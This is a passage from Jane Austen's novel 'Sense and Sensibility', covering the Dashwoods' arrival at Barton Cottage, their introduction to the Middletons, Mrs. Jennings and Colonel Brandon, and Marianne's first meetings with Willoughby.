+under a cold invitation to her to defer her departure. +Now was the time when her son-in-law's promise to his +father might with particular propriety be fulfilled. +Since he had neglected to do it on first coming to +the estate, their quitting his house might be looked +on as the most suitable period for its accomplishment. +But Mrs. Dashwood began shortly to give over every +hope of the kind, and to be convinced, from the general +drift of his discourse, that his assistance extended no +farther than their maintenance for six months at Norland. +He so frequently talked of the increasing expenses +of housekeeping, and of the perpetual demands upon his purse, +which a man of any consequence in the world was beyond +calculation exposed to, that he seemed rather to stand +in need of more money himself than to have any design of +giving money away. + +In a very few weeks from the day which brought Sir +John Middleton's first letter to Norland, every thing was +so far settled in their future abode as to enable +Mrs. Dashwood and her daughters to begin their journey. + +Many were the tears shed by them in their last +adieus to a place so much beloved. "Dear, dear Norland!" +said Marianne, as she wandered alone before the house, +on the last evening of their being there; "when shall I cease +to regret you!--when learn to feel a home elsewhere!--Oh! +happy house, could you know what I suffer in now viewing +you from this spot, from whence perhaps I may view +you no more!--And you, ye well-known trees!--but you +will continue the same.--No leaf will decay because we +are removed, nor any branch become motionless although we +can observe you no longer!--No; you will continue the same; +unconscious of the pleasure or the regret you occasion, +and insensible of any change in those who walk under your +shade!--But who will remain to enjoy you?" + + + +CHAPTER 6 + + +The first part of their journey was performed in too +melancholy a disposition to be otherwise than tedious +and unpleasant. But as they drew towards the end of it, +their interest in the appearance of a country which they +were to inhabit overcame their dejection, and a view of +Barton Valley as they entered it gave them cheerfulness. +It was a pleasant fertile spot, well wooded, and rich +in pasture. After winding along it for more than a mile, +they reached their own house. A small green court was +the whole of its demesne in front; and a neat wicket gate +admitted them into it. + +As a house, Barton Cottage, though small, was comfortable +and compact; but as a cottage it was defective, for the +building was regular, the roof was tiled, the window +shutters were not painted green, nor were the walls covered +with honeysuckles. A narrow passage led directly through +the house into the garden behind. On each side of the +entrance was a sitting room, about sixteen feet square; +and beyond them were the offices and the stairs. +Four bed-rooms and two garrets formed the rest of the house. +It had not been built many years and was in good repair. +In comparison of Norland, it was poor and small indeed!--but +the tears which recollection called forth as they entered +the house were soon dried away. They were cheered +by the joy of the servants on their arrival, and each +for the sake of the others resolved to appear happy. +It was very early in September; the season was fine, +and from first seeing the place under the advantage +of good weather, they received an impression in its +favour which was of material service in recommending +it to their lasting approbation. + +The situation of the house was good. High hills rose +immediately behind, and at no great distance on each side; +some of which were open downs, the others cultivated and woody. +The village of Barton was chiefly on one of these hills, +and formed a pleasant view from the cottage windows. +The prospect in front was more extensive; it commanded the +whole of the valley, and reached into the country beyond. +The hills which surrounded the cottage terminated +the valley in that direction; under another name, +and in another course, it branched out again between two +of the steepest of them. + +With the size and furniture of the house Mrs. Dashwood +was upon the whole well satisfied; for though her former +style of life rendered many additions to the latter +indispensable, yet to add and improve was a delight to her; +and she had at this time ready money enough to supply all +that was wanted of greater elegance to the apartments. +"As for the house itself, to be sure," said she, "it is +too small for our family, but we will make ourselves +tolerably comfortable for the present, as it is too late +in the year for improvements. Perhaps in the spring, +if I have plenty of money, as I dare say I shall, we may +think about building. These parlors are both too small +for such parties of our friends as I hope to see often +collected here; and I have some thoughts of throwing the +passage into one of them with perhaps a part of the other, +and so leave the remainder of that other for an entrance; +this, with a new drawing room which may be easily added, +and a bed-chamber and garret above, will make it a very snug +little cottage. I could wish the stairs were handsome. +But one must not expect every thing; though I suppose it +would be no difficult matter to widen them. I shall see +how much I am before-hand with the world in the spring, +and we will plan our improvements accordingly." + +In the mean time, till all these alterations could +be made from the savings of an income of five hundred +a-year by a woman who never saved in her life, they were +wise enough to be contented with the house as it was; +and each of them was busy in arranging their particular +concerns, and endeavoring, by placing around them books +and other possessions, to form themselves a home. +Marianne's pianoforte was unpacked and properly disposed of; +and Elinor's drawings were affixed to the walls of their +sitting room. + +In such employments as these they were interrupted +soon after breakfast the next day by the entrance of +their landlord, who called to welcome them to Barton, +and to offer them every accommodation from his own house +and garden in which theirs might at present be deficient. +Sir John Middleton was a good looking man about forty. +He had formerly visited at Stanhill, but it was too long +for his young cousins to remember him. His countenance +was thoroughly good-humoured; and his manners were +as friendly as the style of his letter. Their arrival +seemed to afford him real satisfaction, and their comfort +to be an object of real solicitude to him. He said much +of his earnest desire of their living in the most sociable +terms with his family, and pressed them so cordially +to dine at Barton Park every day till they were better +settled at home, that, though his entreaties were carried +to a point of perseverance beyond civility, they could +not give offence. His kindness was not confined to words; +for within an hour after he left them, a large basket +full of garden stuff and fruit arrived from the park, +which was followed before the end of the day by a present +of game. He insisted, moreover, on conveying all their +letters to and from the post for them, and would not be +denied the satisfaction of sending them his newspaper +every day. + +Lady Middleton had sent a very civil message by him, +denoting her intention of waiting on Mrs. Dashwood as soon as +she could be assured that her visit would be no inconvenience; +and as this message was answered by an invitation +equally polite, her ladyship was introduced to them the next day. + +They were, of course, very anxious to see a person on +whom so much of their comfort at Barton must depend; and the +elegance of her appearance was favourable to their wishes. +Lady Middleton was not more than six or seven and twenty; +her face was handsome, her figure tall and striking, +and her address graceful. Her manners had all the elegance +which her husband's wanted. But they would have been +improved by some share of his frankness and warmth; +and her visit was long enough to detract something from +their first admiration, by shewing that, though perfectly +well-bred, she was reserved, cold, and had nothing to say +for herself beyond the most common-place inquiry or remark. + +Conversation however was not wanted, for Sir John +was very chatty, and Lady Middleton had taken the wise +precaution of bringing with her their eldest child, a fine +little boy about six years old, by which means there was +one subject always to be recurred to by the ladies in case +of extremity, for they had to enquire his name and age, +admire his beauty, and ask him questions which his mother +answered for him, while he hung about her and held +down his head, to the great surprise of her ladyship, +who wondered at his being so shy before company, as he +could make noise enough at home. On every formal visit +a child ought to be of the party, by way of provision +for discourse. In the present case it took up ten minutes +to determine whether the boy were most like his father +or mother, and in what particular he resembled either, +for of course every body differed, and every body was +astonished at the opinion of the others. + +An opportunity was soon to be given to the Dashwoods +of debating on the rest of the children, as Sir John +would not leave the house without securing their promise +of dining at the park the next day. + + + +CHAPTER 7 + + +Barton Park was about half a mile from the cottage. +The ladies had passed near it in their way along the valley, +but it was screened from their view at home by the +projection of a hill. The house was large and handsome; +and the Middletons lived in a style of equal hospitality +and elegance. The former was for Sir John's gratification, +the latter for that of his lady. They were scarcely +ever without some friends staying with them in the house, +and they kept more company of every kind than any other +family in the neighbourhood. It was necessary to the +happiness of both; for however dissimilar in temper +and outward behaviour, they strongly resembled each other +in that total want of talent and taste which confined +their employments, unconnected with such as society produced, +within a very narrow compass. Sir John was a sportsman, +Lady Middleton a mother. He hunted and shot, and she +humoured her children; and these were their only resources. +Lady Middleton had the advantage of being able to spoil her +children all the year round, while Sir John's independent +employments were in existence only half the time. +Continual engagements at home and abroad, however, +supplied all the deficiencies of nature and education; +supported the good spirits of Sir John, and gave exercise +to the good breeding of his wife. + +Lady Middleton piqued herself upon the elegance +of her table, and of all her domestic arrangements; +and from this kind of vanity was her greatest enjoyment +in any of their parties. But Sir John's satisfaction +in society was much more real; he delighted in collecting +about him more young people than his house would hold, +and the noisier they were the better was he pleased. +He was a blessing to all the juvenile part of the neighbourhood, +for in summer he was for ever forming parties to eat cold +ham and chicken out of doors, and in winter his private +balls were numerous enough for any young lady who was not +suffering under the unsatiable appetite of fifteen. + +The arrival of a new family in the country was always +a matter of joy to him, and in every point of view he was +charmed with the inhabitants he had now procured for his +cottage at Barton. The Miss Dashwoods were young, pretty, +and unaffected. It was enough to secure his good opinion; +for to be unaffected was all that a pretty girl could +want to make her mind as captivating as her person. +The friendliness of his disposition made him happy in +accommodating those, whose situation might be considered, +in comparison with the past, as unfortunate. In showing +kindness to his cousins therefore he had the real satisfaction +of a good heart; and in settling a family of females only +in his cottage, he had all the satisfaction of a sportsman; +for a sportsman, though he esteems only those of his sex who +are sportsmen likewise, is not often desirous of encouraging +their taste by admitting them to a residence within his own +manor. + +Mrs. Dashwood and her daughters were met at the door +of the house by Sir John, who welcomed them to Barton +Park with unaffected sincerity; and as he attended them +to the drawing room repeated to the young ladies the concern +which the same subject had drawn from him the day before, +at being unable to get any smart young men to meet them. +They would see, he said, only one gentleman there +besides himself; a particular friend who was staying at +the park, but who was neither very young nor very gay. +He hoped they would all excuse the smallness of the party, +and could assure them it should never happen so again. +He had been to several families that morning in hopes +of procuring some addition to their number, but it +was moonlight and every body was full of engagements. +Luckily Lady Middleton's mother had arrived at Barton +within the last hour, and as she was a very cheerful +agreeable woman, he hoped the young ladies would not find +it so very dull as they might imagine. The young ladies, +as well as their mother, were perfectly satisfied with +having two entire strangers of the party, and wished for +no more. + +Mrs. Jennings, Lady Middleton's mother, was a +good-humoured, merry, fat, elderly woman, who talked a +great deal, seemed very happy, and rather vulgar. She was full +of jokes and laughter, and before dinner was over had said +many witty things on the subject of lovers and husbands; +hoped they had not left their hearts behind them in Sussex, +and pretended to see them blush whether they did or not. +Marianne was vexed at it for her sister's sake, and turned +her eyes towards Elinor to see how she bore these attacks, +with an earnestness which gave Elinor far more pain than +could arise from such common-place raillery as Mrs. Jennings's. + +Colonel Brandon, the friend of Sir John, seemed no +more adapted by resemblance of manner to be his friend, +than Lady Middleton was to be his wife, or Mrs. Jennings +to be Lady Middleton's mother. He was silent and grave. +His appearance however was not unpleasing, in spite +of his being in the opinion of Marianne and Margaret +an absolute old bachelor, for he was on the wrong side +of five and thirty; but though his face was not handsome, +his countenance was sensible, and his address was +particularly gentlemanlike. + +There was nothing in any of the party which could +recommend them as companions to the Dashwoods; but the cold +insipidity of Lady Middleton was so particularly repulsive, +that in comparison of it the gravity of Colonel Brandon, +and even the boisterous mirth of Sir John and his +mother-in-law was interesting. Lady Middleton seemed +to be roused to enjoyment only by the entrance of her +four noisy children after dinner, who pulled her about, +tore her clothes, and put an end to every kind of discourse +except what related to themselves. + +In the evening, as Marianne was discovered to be musical, +she was invited to play. The instrument was unlocked, +every body prepared to be charmed, and Marianne, +who sang very well, at their request went through the +chief of the songs which Lady Middleton had brought into +the family on her marriage, and which perhaps had lain +ever since in the same position on the pianoforte, +for her ladyship had celebrated that event by giving +up music, although by her mother's account, she had +played extremely well, and by her own was very fond of it. + +Marianne's performance was highly applauded. +Sir John was loud in his admiration at the end of every song, +and as loud in his conversation with the others while every +song lasted. Lady Middleton frequently called him to order, +wondered how any one's attention could be diverted from music +for a moment, and asked Marianne to sing a particular song +which Marianne had just finished. Colonel Brandon alone, +of all the party, heard her without being in raptures. +He paid her only the compliment of attention; and she felt +a respect for him on the occasion, which the others had +reasonably forfeited by their shameless want of taste. +His pleasure in music, though it amounted not to that +ecstatic delight which alone could sympathize with her own, +was estimable when contrasted against the horrible +insensibility of the others; and she was reasonable enough +to allow that a man of five and thirty might well have +outlived all acuteness of feeling and every exquisite +power of enjoyment. She was perfectly disposed to make +every allowance for the colonel's advanced state of life +which humanity required. + + + +CHAPTER 8 + + +Mrs. Jennings was a widow with an ample jointure. +She had only two daughters, both of whom she had lived +to see respectably married, and she had now therefore +nothing to do but to marry all the rest of the world. +In the promotion of this object she was zealously active, +as far as her ability reached; and missed no opportunity +of projecting weddings among all the young people +of her acquaintance. She was remarkably quick in the +discovery of attachments, and had enjoyed the advantage +of raising the blushes and the vanity of many a young +lady by insinuations of her power over such a young man; +and this kind of discernment enabled her soon after her +arrival at Barton decisively to pronounce that Colonel +Brandon was very much in love with Marianne Dashwood. +She rather suspected it to be so, on the very first +evening of their being together, from his listening +so attentively while she sang to them; and when the visit +was returned by the Middletons' dining at the cottage, +the fact was ascertained by his listening to her again. +It must be so. She was perfectly convinced of it. +It would be an excellent match, for HE was rich, and SHE +was handsome. Mrs. Jennings had been anxious to see +Colonel Brandon well married, ever since her connection +with Sir John first brought him to her knowledge; +and she was always anxious to get a good husband for every +pretty girl. + +The immediate advantage to herself was by no means +inconsiderable, for it supplied her with endless jokes +against them both. At the park she laughed at the colonel, +and in the cottage at Marianne. To the former her +raillery was probably, as far as it regarded only himself, +perfectly indifferent; but to the latter it was at +first incomprehensible; and when its object was understood, +she hardly knew whether most to laugh at its absurdity, +or censure its impertinence, for she considered it as an +unfeeling reflection on the colonel's advanced years, +and on his forlorn condition as an old bachelor. + +Mrs. Dashwood, who could not think a man five years +younger than herself, so exceedingly ancient as he appeared +to the youthful fancy of her daughter, ventured to clear +Mrs. Jennings from the probability of wishing to throw +ridicule on his age. + +"But at least, Mamma, you cannot deny the absurdity +of the accusation, though you may not think it intentionally +ill-natured. Colonel Brandon is certainly younger than +Mrs. Jennings, but he is old enough to be MY father; +and if he were ever animated enough to be in love, +must have long outlived every sensation of the kind. +It is too ridiculous! When is a man to be safe from such wit, +if age and infirmity will not protect him?" + +"Infirmity!" said Elinor, "do you call Colonel Brandon +infirm? I can easily suppose that his age may appear much +greater to you than to my mother; but you can hardly +deceive yourself as to his having the use of his limbs!" + +"Did not you hear him complain of the rheumatism? +and is not that the commonest infirmity of declining life?" + +"My dearest child," said her mother, laughing, +"at this rate you must be in continual terror of MY decay; +and it must seem to you a miracle that my life has been +extended to the advanced age of forty." + +"Mamma, you are not doing me justice. I know very well +that Colonel Brandon is not old enough to make his friends +yet apprehensive of losing him in the course of nature. +He may live twenty years longer. But thirty-five has +nothing to do with matrimony." + +"Perhaps," said Elinor, "thirty-five and seventeen had +better not have any thing to do with matrimony together. +But if there should by any chance happen to be a woman +who is single at seven and twenty, I should not think +Colonel Brandon's being thirty-five any objection to his +marrying HER." + +"A woman of seven and twenty," said Marianne, +after pausing a moment, "can never hope to feel or inspire +affection again, and if her home be uncomfortable, +or her fortune small, I can suppose that she might +bring herself to submit to the offices of a nurse, +for the sake of the provision and security of a wife. +In his marrying such a woman therefore there would be +nothing unsuitable. It would be a compact of convenience, +and the world would be satisfied. In my eyes it would +be no marriage at all, but that would be nothing. +To me it would seem only a commercial exchange, in which +each wished to be benefited at the expense of the other." + +"It would be impossible, I know," replied Elinor, +"to convince you that a woman of seven and twenty could +feel for a man of thirty-five anything near enough +to love, to make him a desirable companion to her. +But I must object to your dooming Colonel Brandon and +his wife to the constant confinement of a sick chamber, +merely because he chanced to complain yesterday (a +very cold damp day) of a slight rheumatic feel in one +of his shoulders." + +"But he talked of flannel waistcoats," said Marianne; +"and with me a flannel waistcoat is invariably connected +with aches, cramps, rheumatisms, and every species of +ailment that can afflict the old and the feeble." + +"Had he been only in a violent fever, you would not +have despised him half so much. Confess, Marianne, is not +there something interesting to you in the flushed cheek, +hollow eye, and quick pulse of a fever?" + +Soon after this, upon Elinor's leaving the room, +"Mamma," said Marianne, "I have an alarm on the subject +of illness which I cannot conceal from you. I am sure +Edward Ferrars is not well. We have now been here almost +a fortnight, and yet he does not come. Nothing but real +indisposition could occasion this extraordinary delay. +What else can detain him at Norland?" + +"Had you any idea of his coming so soon?" +said Mrs. Dashwood. "I had none. On the contrary, +if I have felt any anxiety at all on the subject, it has +been in recollecting that he sometimes showed a want +of pleasure and readiness in accepting my invitation, +when I talked of his coming to Barton. Does Elinor +expect him already?" + +"I have never mentioned it to her, but of course +she must." + +"I rather think you are mistaken, for when I +was talking to her yesterday of getting a new grate +for the spare bedchamber, she observed that there +was no immediate hurry for it, as it was not likely +that the room would be wanted for some time." + +"How strange this is! what can be the meaning of it! +But the whole of their behaviour to each other has been +unaccountable! How cold, how composed were their last +adieus! How languid their conversation the last evening +of their being together! In Edward's farewell there was no +distinction between Elinor and me: it was the good wishes +of an affectionate brother to both. Twice did I leave +them purposely together in the course of the last morning, +and each time did he most unaccountably follow me out +of the room. And Elinor, in quitting Norland and Edward, +cried not as I did. Even now her self-command is invariable. +When is she dejected or melancholy? When does she try +to avoid society, or appear restless and dissatisfied +in it?" + + + +CHAPTER 9 + + +The Dashwoods were now settled at Barton with tolerable +comfort to themselves. The house and the garden, with all +the objects surrounding them, were now become familiar, +and the ordinary pursuits which had given to Norland +half its charms were engaged in again with far greater +enjoyment than Norland had been able to afford, since the +loss of their father. Sir John Middleton, who called +on them every day for the first fortnight, and who was +not in the habit of seeing much occupation at home, +could not conceal his amazement on finding them always employed. + +Their visitors, except those from Barton Park, +were not many; for, in spite of Sir John's urgent entreaties +that they would mix more in the neighbourhood, and repeated +assurances of his carriage being always at their service, +the independence of Mrs. Dashwood's spirit overcame the +wish of society for her children; and she was resolute +in declining to visit any family beyond the distance +of a walk. There were but few who could be so classed; +and it was not all of them that were attainable. +About a mile and a half from the cottage, along the narrow +winding valley of Allenham, which issued from that of Barton, +as formerly described, the girls had, in one of their +earliest walks, discovered an ancient respectable looking +mansion which, by reminding them a little of Norland, +interested their imagination and made them wish to be +better acquainted with it. But they learnt, on enquiry, +that its possessor, an elderly lady of very good character, +was unfortunately too infirm to mix with the world, +and never stirred from home. + +The whole country about them abounded in beautiful walks. +The high downs which invited them from almost every window +of the cottage to seek the exquisite enjoyment of air +on their summits, were a happy alternative when the dirt +of the valleys beneath shut up their superior beauties; +and towards one of these hills did Marianne and Margaret +one memorable morning direct their steps, attracted by the +partial sunshine of a showery sky, and unable longer to bear +the confinement which the settled rain of the two preceding +days had occasioned. The weather was not tempting enough +to draw the two others from their pencil and their book, +in spite of Marianne's declaration that the day would +be lastingly fair, and that every threatening cloud would +be drawn off from their hills; and the two girls set off +together. + +They gaily ascended the downs, rejoicing in their own +penetration at every glimpse of blue sky; and when they +caught in their faces the animating gales of a high +south-westerly wind, they pitied the fears which had prevented +their mother and Elinor from sharing such delightful sensations. + +"Is there a felicity in the world," said Marianne, +"superior to this?--Margaret, we will walk here at least +two hours." + +Margaret agreed, and they pursued their way against +the wind, resisting it with laughing delight for about +twenty minutes longer, when suddenly the clouds united over +their heads, and a driving rain set full in their face.-- +Chagrined and surprised, they were obliged, though unwillingly, +to turn back, for no shelter was nearer than their own house. +One consolation however remained for them, to which the +exigence of the moment gave more than usual propriety; +it was that of running with all possible speed down the steep +side of the hill which led immediately to their garden gate. + +They set off. Marianne had at first the advantage, +but a false step brought her suddenly to the ground; +and Margaret, unable to stop herself to assist her, +was involuntarily hurried along, and reached the bottom +in safety. + +A gentleman carrying a gun, with two pointers +playing round him, was passing up the hill and within +a few yards of Marianne, when her accident happened. +He put down his gun and ran to her assistance. She had +raised herself from the ground, but her foot had been +twisted in her fall, and she was scarcely able to stand. +The gentleman offered his services; and perceiving that her +modesty declined what her situation rendered necessary, +took her up in his arms without farther delay, and carried +her down the hill. Then passing through the garden, +the gate of which had been left open by Margaret, he bore her +directly into the house, whither Margaret was just arrived, +and quitted not his hold till he had seated her in a chair +in the parlour. + +Elinor and her mother rose up in amazement at +their entrance, and while the eyes of both were fixed +on him with an evident wonder and a secret admiration +which equally sprung from his appearance, he apologized +for his intrusion by relating its cause, in a manner +so frank and so graceful that his person, which was +uncommonly handsome, received additional charms from his voice +and expression. Had he been even old, ugly, and vulgar, +the gratitude and kindness of Mrs. Dashwood would +have been secured by any act of attention to her child; +but the influence of youth, beauty, and elegance, +gave an interest to the action which came home to her feelings. + +She thanked him again and again; and, with a sweetness +of address which always attended her, invited him to +be seated. But this he declined, as he was dirty and wet. +Mrs. Dashwood then begged to know to whom she was obliged. +His name, he replied, was Willoughby, and his present +home was at Allenham, from whence he hoped she would +allow him the honour of calling tomorrow to enquire +after Miss Dashwood. The honour was readily granted, +and he then departed, to make himself still more interesting, +in the midst of a heavy rain. + +His manly beauty and more than common gracefulness +were instantly the theme of general admiration, +and the laugh which his gallantry raised against Marianne +received particular spirit from his exterior attractions.-- +Marianne herself had seen less of his person that the rest, +for the confusion which crimsoned over her face, on his +lifting her up, had robbed her of the power of regarding +him after their entering the house. But she had seen +enough of him to join in all the admiration of the others, +and with an energy which always adorned her praise. +His person and air were equal to what her fancy had ever +drawn for the hero of a favourite story; and in his carrying +her into the house with so little previous formality, there +was a rapidity of thought which particularly recommended +the action to her. Every circumstance belonging to him +was interesting. His name was good, his residence was in +their favourite village, and she soon found out that of all +manly dresses a shooting-jacket was the most becoming. +Her imagination was busy, her reflections were pleasant, +and the pain of a sprained ankle was disregarded. + +Sir John called on them as soon as the next interval +of fair weather that morning allowed him to get out +of doors; and Marianne's accident being related to him, +he was eagerly asked whether he knew any gentleman +of the name of Willoughby at Allenham. + +"Willoughby!" cried Sir John; "what, is HE +in the country? That is good news however; I will +ride over tomorrow, and ask him to dinner on Thursday." + +"You know him then," said Mrs. Dashwood. + +"Know him! to be sure I do. Why, he is down here +every year." + +"And what sort of a young man is he?" + +"As good a kind of fellow as ever lived, I assure you. +A very decent shot, and there is not a bolder rider +in England." + +"And is that all you can say for him?" cried Marianne, +indignantly. "But what are his manners on more intimate +acquaintance? What his pursuits, his talents, and genius?" + +Sir John was rather puzzled. + +"Upon my soul," said he, "I do not know much about him +as to all THAT. But he is a pleasant, good humoured fellow, +and has got the nicest little black bitch of a pointer +I ever saw. Was she out with him today?" + +But Marianne could no more satisfy him as to the +colour of Mr. Willoughby's pointer, than he could +describe to her the shades of his mind. + +"But who is he?" said Elinor. "Where does he come +from? Has he a house at Allenham?" + +On this point Sir John could give more certain intelligence; +and he told them that Mr. Willoughby had no property +of his own in the country; that he resided there only +while he was visiting the old lady at Allenham Court, +to whom he was related, and whose possessions he was +to inherit; adding, "Yes, yes, he is very well worth +catching I can tell you, Miss Dashwood; he has a pretty +little estate of his own in Somersetshire besides; +and if I were you, I would not give him up to my +younger sister, in spite of all this tumbling down hills. +Miss Marianne must not expect to have all the men to herself. +Brandon will be jealous, if she does not take care." + +"I do not believe," said Mrs. Dashwood, with a +good humoured smile, "that Mr. Willoughby will be incommoded +by the attempts of either of MY daughters towards what +you call CATCHING him. It is not an employment to which +they have been brought up. Men are very safe with us, +let them be ever so rich. I am glad to find, however, +from what you say, that he is a respectable young man, +and one whose acquaintance will not be ineligible." + +"He is as good a sort of fellow, I believe, +as ever lived," repeated Sir John. "I remember +last Christmas at a little hop at the park, he danced +from eight o'clock till four, without once sitting down." + +"Did he indeed?" cried Marianne with sparkling eyes, +"and with elegance, with spirit?" + +"Yes; and he was up again at eight to ride to covert." + +"That is what I like; that is what a young man ought +to be. Whatever be his pursuits, his eagerness in them +should know no moderation, and leave him no sense of fatigue." + +"Aye, aye, I see how it will be," said Sir John, "I see +how it will be. You will be setting your cap at him now, +and never think of poor Brandon." + +"That is an expression, Sir John," said Marianne, +warmly, "which I particularly dislike. I abhor every +common-place phrase by which wit is intended; and 'setting +one's cap at a man,' or 'making a conquest,' are the most +odious of all. Their tendency is gross and illiberal; +and if their construction could ever be deemed clever, +time has long ago destroyed all its ingenuity." + +Sir John did not much understand this reproof; +but he laughed as heartily as if he did, and then replied, + +"Ay, you will make conquests enough, I dare say, +one way or other. Poor Brandon! he is quite smitten already, +and he is very well worth setting your cap at, I can +tell you, in spite of all this tumbling about and spraining +of ankles." + + + +CHAPTER 10 + + +Marianne's preserver, as Margaret, with more elegance +than precision, styled Willoughby, called at the cottage +early the next morning to make his personal enquiries. +He was received by Mrs. Dashwood with more than politeness; +with a kindness which Sir John's account of him and her own +gratitude prompted; and every thing that passed during +the visit tended to assure him of the sense, elegance, +mutual affection, and domestic comfort of the family +to whom accident had now introduced him. Of their +personal charms he had not required a second interview +to be convinced. + +Miss Dashwood had a delicate complexion, +regular features, and a remarkably pretty figure. +Marianne was still handsomer. Her form, though not so +correct as her sister's, in having the advantage of height, +was more striking; and her face was so lovely, that when +in the common cant of praise, she was called a beautiful girl, +truth was less violently outraged than usually happens. +Her skin was very brown, but, from its transparency, +her complexion was uncommonly brilliant; her features +were all good; her smile was sweet and attractive; +and in her eyes, which were very dark, there was a life, +a spirit, an eagerness, which could hardily be seen +without delight. From Willoughby their expression was at +first held back, by the embarrassment which the remembrance +of his assistance created. But when this passed away, +when her spirits became collected, when she saw that to the +perfect good-breeding of the gentleman, he united frankness +and vivacity, and above all, when she heard him declare, +that of music and dancing he was passionately fond, +she gave him such a look of approbation as secured the +largest share of his discourse to herself for the rest +of his stay. + +It was only necessary to mention any favourite +amusement to engage her to talk. She could not be +silent when such points were introduced, and she +had neither shyness nor reserve in their discussion. +They speedily discovered that their enjoyment of dancing +and music was mutual, and that it arose from a general +conformity of judgment in all that related to either. +Encouraged by this to a further examination of his opinions, +she proceeded to question him on the subject of books; +her favourite authors were brought forward and dwelt +upon with so rapturous a delight, that any young man of +five and twenty must have been insensible indeed, not to +become an immediate convert to the excellence of such works, +however disregarded before. Their taste was strikingly alike. +The same books, the same passages were idolized by each-- +or if any difference appeared, any objection arose, +it lasted no longer than till the force of her arguments +and the brightness of her eyes could be displayed. +He acquiesced in all her decisions, caught all her enthusiasm; +and long before his visit concluded, they conversed +with the familiarity of a long-established acquaintance. + +"Well, Marianne," said Elinor, as soon as he had left them, +"for ONE morning I think you have done pretty well. +You have already ascertained Mr. Willoughby's opinion in +almost every matter of importance. You know what he thinks +of Cowper and Scott; you are certain of his estimating +their beauties as he ought, and you have received every +assurance of his admiring Pope no more than is proper. +But how is your acquaintance to be long supported, under such +extraordinary despatch of every subject for discourse? +You will soon have exhausted each favourite topic. +Another meeting will suffice to explain his sentiments +on picturesque beauty, and second marriages, and then +you can have nothing farther to ask."-- + +"Elinor," cried Marianne, "is this fair? is this +just? are my ideas so scanty? But I see what you mean. +I have been too much at my ease, too happy, too frank. +I have erred against every common-place notion of decorum; +I have been open and sincere where I ought to have +been reserved, spiritless, dull, and deceitful--had +I talked only of the weather and the roads, and had I +spoken only once in ten minutes, this reproach would have +been spared." + +"My love," said her mother, "you must not be offended +with Elinor--she was only in jest. I should scold +her myself, if she were capable of wishing to check +the delight of your conversation with our new friend."-- +Marianne was softened in a moment. + +Willoughby, on his side, gave every proof of his +pleasure in their acquaintance, which an evident wish +of improving it could offer. He came to them every day. +To enquire after Marianne was at first his excuse; but the +encouragement of his reception, to which every day gave +greater kindness, made such an excuse unnecessary before it +had ceased to be possible, by Marianne's perfect recovery. +She was confined for some days to the house; but never had +any confinement been less irksome. Willoughby was a young +man of good abilities, quick imagination, lively spirits, +and open, affectionate manners. He was exactly formed +to engage Marianne's heart, for with all this, he joined +not only a captivating person, but a natural ardour +of mind which was now roused and increased by the example +of her own, and which recommended him to her affection +beyond every thing else. + +His society became gradually her most exquisite enjoyment. +They read, they talked, they sang together; his musical +talents were considerable; and he read with all the +sensibility and spirit which Edward had unfortunately wanted. + +In Mrs. Dashwood's estimation he was as faultless +as in Marianne's; and Elinor saw nothing to censure in him +but a propensity, in which he strongly resembled and peculiarly +delighted her sister, of saying too much what he thought on +every occasion, without attention to persons or circumstances. +In hastily forming and giving his opinion of other people, +in sacrificing general politeness to the enjoyment +of undivided attention where his heart was engaged, +and in slighting too easily the forms of worldly propriety, +he displayed a want of caution which Elinor could not approve, +in spite of all that he and Marianne could say in its support. + +Marianne began now to perceive that the desperation +which had seized her at sixteen and a half, of ever +seeing a man who could satisfy her ideas of perfection, +had been rash and unjustifiable. Willoughby was all +that her fancy had delineated in that unhappy hour +and in every brighter period, as capable of attaching her; +and his behaviour declared his wishes to be in that respect +as earnest, as his abilities were strong. + +Her mother too, in whose mind not one speculative +thought of their marriage had been raised, by his prospect +of riches, was led before the end of a week to hope and +expect it; and secretly to congratulate herself on having +gained two such sons-in-law as Edward and Willoughby. + +Colonel Brandon's partiality for Marianne, which had +so early been discovered by his friends, now first became +perceptible to Elinor, when it ceased to be noticed +by them. Their attention and wit were drawn off to his +more fortunate rival; and the raillery which the other +had incurred before any partiality arose, was removed +when his feelings began really to call for the ridicule +so justly annexed to sensibility. Elinor was obliged, +though unwillingly, to believe that the sentiments which +Mrs. Jennings had assigned him for her own satisfaction, +were now actually excited by her sister; and that however +a general resemblance of disposition between the parties +might forward the affection of Mr. Willoughby, an equally +striking opposition of character was no hindrance to the +regard of Colonel Brandon. She saw it with concern; +for what could a silent man of five and thirty hope, +when opposed to a very lively one of five and twenty? and as +she could not even wish him successful, she heartily wished +him indifferent. She liked him--in spite of his gravity +and reserve, she beheld in him an object of interest. +His manners, though serious, were mild; and his reserve +appeared rather the result of some oppression of spirits +than of any natural gloominess of temper. Sir John +had dropped hints of past injuries and disappointments, +which justified her belief of his being an unfortunate man, +and she regarded him with respect and compassion. + +Perhaps she pitied and esteemed him the more +because he was slighted by Willoughby and Marianne, +who, prejudiced against him for being neither lively +nor young, seemed resolved to undervalue his merits. + +"Brandon is just the kind of man," said Willoughby +one day, when they were talking of him together, +"whom every body speaks well of, and nobody cares about; +whom all are delighted to see, and nobody remembers +to talk to." + +"That is exactly what I think of him," cried Marianne. + +"Do not boast of it, however," said Elinor, "for it +is injustice in both of you. He is highly esteemed +by all the family at the park, and I never see him myself +without taking pains to converse with him." + +"That he is patronised by YOU," replied Willoughby, +"is certainly in his favour; but as for the esteem +of the others, it is a reproach in itself. Who would +submit to the indignity of being approved by such a woman +as Lady Middleton and Mrs. Jennings, that could command +the indifference of any body else?" + +"But perhaps the abuse of such people as yourself +and Marianne will make amends for the regard of Lady +Middleton and her mother. If their praise is censure, +your censure may be praise, for they are not more undiscerning, +than you are prejudiced and unjust." + +"In defence of your protege you can even be saucy." + +"My protege, as you call him, is a sensible man; +and sense will always have attractions for me. +Yes, Marianne, even in a man between thirty and forty. +He has seen a great deal of the world; has been abroad, +has read, and has a thinking mind. I have found him +capable of giving me much information on various subjects; +and he has always answered my inquiries with readiness of +good-breeding and good nature." + +"That is to say," cried Marianne contemptuously, +"he has told you, that in the East Indies the climate is hot, +and the mosquitoes are troublesome." + +"He WOULD have told me so, I doubt not, had I made +any such inquiries, but they happened to be points +on which I had been previously informed." + +"Perhaps," said Willoughby, "his observations may +have extended to the existence of nabobs, gold mohrs, +and palanquins." + +"I may venture to say that HIS observations +have stretched much further than your candour. +But why should you dislike him?" + +"I do not dislike him. I consider him, on the contrary, +as a very respectable man, who has every body's good word, +and nobody's notice; who, has more money than he can spend, +more time than he knows how to employ, and two new coats +every year." + +"Add to which," cried Marianne, "that he has +neither genius, taste, nor spirit. That his understanding +has no brilliancy, his feelings no ardour, and his voice +no expression." + +"You decide on 